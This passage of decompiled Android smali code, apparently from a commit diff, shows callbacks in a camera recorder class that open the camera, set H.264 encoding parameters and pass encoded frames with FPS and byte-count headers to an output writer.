invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onInputBufferAvailable(Landroid/media/MediaCodec;I)V
.locals 0
return-void
.end method
.method public onOutputBufferAvailable(Landroid/media/MediaCodec;ILandroid/media/MediaCodec$BufferInfo;)V
.locals 9
const/4 p1, 0x1
.line 79
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0, p2}, Landroid/media/MediaCodec;->getOutputBuffer(I)Ljava/nio/ByteBuffer;
move-result-object v0
if-eqz v0, :cond_3
.line 81
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
if-eqz v1, :cond_3
.line 82
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
iget v3, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
add-int/2addr v2, v3
iput v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
.line 83
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-short v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
add-int/2addr v2, p1
int-to-short v2, v2
iput-short v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
.line 84
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v1
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-wide v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
sub-long/2addr v1, v3
const-wide/16 v3, 0x3e8
cmp-long v1, v1, v3
const/16 v2, 0x8
const/4 v3, 0x0
if-lez v1, :cond_0
.line 85
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const/16 v4, 0xb
invoke-static {v4}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-virtual {v4, v2}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object v4
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-short v5, v5, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putShort(S)Ljava/nio/ByteBuffer;
move-result-object v4
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v5, v5, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-wide v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
sub-long/2addr v5, v7
long-to-int v5, v5
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
move-result-object v4
invoke-virtual {v4}, Ljava/nio/ByteBuffer;->array()[B
move-result-object v4
invoke-virtual {v1, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 86
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput v3, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
.line 87
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-short v3, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
.line 88
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v4
iput-wide v4, v1, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
.line 90
:cond_0
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->position(I)Ljava/nio/Buffer;
.line 91
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
iget v4, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
add-int/2addr v1, v4
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->limit(I)Ljava/nio/Buffer;
.line 92
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
new-array v1, v1, [B
.line 93
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->get([B)Ljava/nio/ByteBuffer;
.line 94
iget v0, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
:try_end_0
.catch Ljava/lang/ArithmeticException; {:try_start_0 .. :try_end_0} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_0 .. :try_end_0} :catch_2
const/4 v4, 0x3
const/4 v5, 0x2
if-ne v0, v5, :cond_1
.line 96
:try_start_1
new-instance p3, Ljava/io/ByteArrayOutputStream;
invoke-direct {p3}, Ljava/io/ByteArrayOutputStream;-><init>()V
.line 97
invoke-virtual {p3, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 98
invoke-virtual {p3, v5}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 99
invoke-virtual {p3, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 100
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->flush()V
.line 101
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v1
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$002(Lcom/nvav/srv/recorder/CameraASUSn;[B)[B
.line 102
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->close()V
:try_end_1
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_0
.catch Ljava/lang/ArithmeticException; {:try_start_1 .. :try_end_1} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_1 .. :try_end_1} :catch_2
goto/16 :goto_1
:catch_0
move-exception p3
.line 104
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:try_end_2
.catch Ljava/lang/ArithmeticException; {:try_start_2 .. :try_end_2} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_2 .. :try_end_2} :catch_2
goto/16 :goto_1
.line 108
:cond_1
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$108(Lcom/nvav/srv/recorder/CameraASUSn;)I
.line 109
new-instance v0, Ljava/io/ByteArrayOutputStream;
invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
.line 110
invoke-virtual {v0, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 111
iget p3, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
if-ne p3, p1, :cond_2
.line 112
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {p3}, Lcom/nvav/srv/recorder/CameraASUSn;->access$100(Lcom/nvav/srv/recorder/CameraASUSn;)I
move-result v2
iput v2, p3, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
.line 113
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraASUSn;->access$000(Lcom/nvav/srv/recorder/CameraASUSn;)[B
move-result-object v2
invoke-virtual {p3, v2}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 114
invoke-virtual {v0, p1}, Ljava/io/ByteArrayOutputStream;->write(I)V
const/4 p3, 0x4
.line 115
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
.line 116
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 117
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p3
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
goto :goto_0
.line 119
:cond_2
invoke-virtual {v0, v3}, Ljava/io/ByteArrayOutputStream;->write(I)V
.line 120
invoke-static {v2}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
.line 121
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraASUSn;->access$100(Lcom/nvav/srv/recorder/CameraASUSn;)I
move-result v2
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 122
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
.line 123
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p3
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 125
:goto_0
invoke-virtual {v0, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
.line 126
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->flush()V
.line 127
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v1
invoke-virtual {p3, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 128
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
:try_end_3
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_1
.catch Ljava/lang/ArithmeticException; {:try_start_3 .. :try_end_3} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_3 .. :try_end_3} :catch_2
goto :goto_1
:catch_1
move-exception p3
.line 130
:try_start_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 135
:cond_3
:goto_1
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p3, p2, p1}, Landroid/media/MediaCodec;->releaseOutputBuffer(IZ)V
:try_end_4
.catch Ljava/lang/ArithmeticException; {:try_start_4 .. :try_end_4} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_4 .. :try_end_4} :catch_2
goto :goto_2
:catch_2
move-exception p2
.line 140
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p3, p2}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 141
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
goto :goto_2
:catch_3
move-exception p1
.line 137
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 138
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->reset()V
:goto_2
return-void
.end method
.method public onOutputFormatChanged(Landroid/media/MediaCodec;Landroid/media/MediaFormat;)V
.locals 0
.line 153
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->getOutputFormat()Landroid/media/MediaFormat;
.line 154
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=MediaCodecf onOutputFormatChanged."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,595 @@
.class Lcom/nvav/srv/recorder/CameraASUSn$2;
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
.source "CameraASUSn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUSn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
.locals 0
.line 159
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
.locals 1
.line 197
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera close."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
.locals 1
.line 201
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera disconnected."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
const/4 p1, 0x1
.line 202
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
return-void
.end method
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
.locals 1
.line 206
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera error."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 207
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object p2
filled-new-array {p2}, [Ljava/lang/Object;
move-result-object p2
const-string v0, "result=C.E(%d)"
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
.locals 11
.line 162
const-string v0, "frame-rate"
const-string v1, "bitrate"
const-string v2, "video/avc"
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v4, "result=Camera open."
invoke-virtual {v3, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 164
:try_start_0
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 165
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCameraManager:Landroid/hardware/camera2/CameraManager;
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
.line 166
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
.line 167
const-class v3, Landroid/media/MediaCodec;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
move-result-object p1
.line 168
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
const/4 v4, 0x0
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
.line 169
array-length v3, p1
const/4 v5, 0x0
move v6, v5
:goto_0
const/4 v7, 0x2
if-ge v6, v3, :cond_1
aget-object v8, p1, v6
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
move-result v9
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
aget-object v7, v10, v7
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v7
if-ne v9, v7, :cond_0
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
move-result v7
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
const/4 v10, 0x3
aget-object v9, v9, v10
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v9
if-ne v7, v9, :cond_0
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
:cond_0
add-int/lit8 v6, v6, 0x1
goto :goto_0
.line 170
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=Width:%d Height:%d"
new-array v6, v7, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
aput-object v7, v6, v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
const/4 v8, 0x1
aput-object v7, v6, v8
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 171
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
move-result v3
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
move-result v6
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
.line 172
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
const-string v3, "color-format"
const v6, 0x7f000789
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 173
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
const/4 v6, 0x5
aget-object v3, v3, v6
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
iput v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->FPS:I
.line 174
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
aget-object v3, v3, v5
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 175
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->FPS:I
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 176
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
const-string v3, "i-frame-interval"
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 178
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%s"
new-array v7, v8, [Ljava/lang/Object;
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
aget-object v9, v9, v5
aput-object v9, v7, v5
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 179
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%d"
new-array v7, v8, [Ljava/lang/Object;
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
invoke-virtual {v9, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
aput-object v1, v7, v5
invoke-static {v3, v7}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 180
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=FrameRate:%d"
new-array v3, v8, [Ljava/lang/Object;
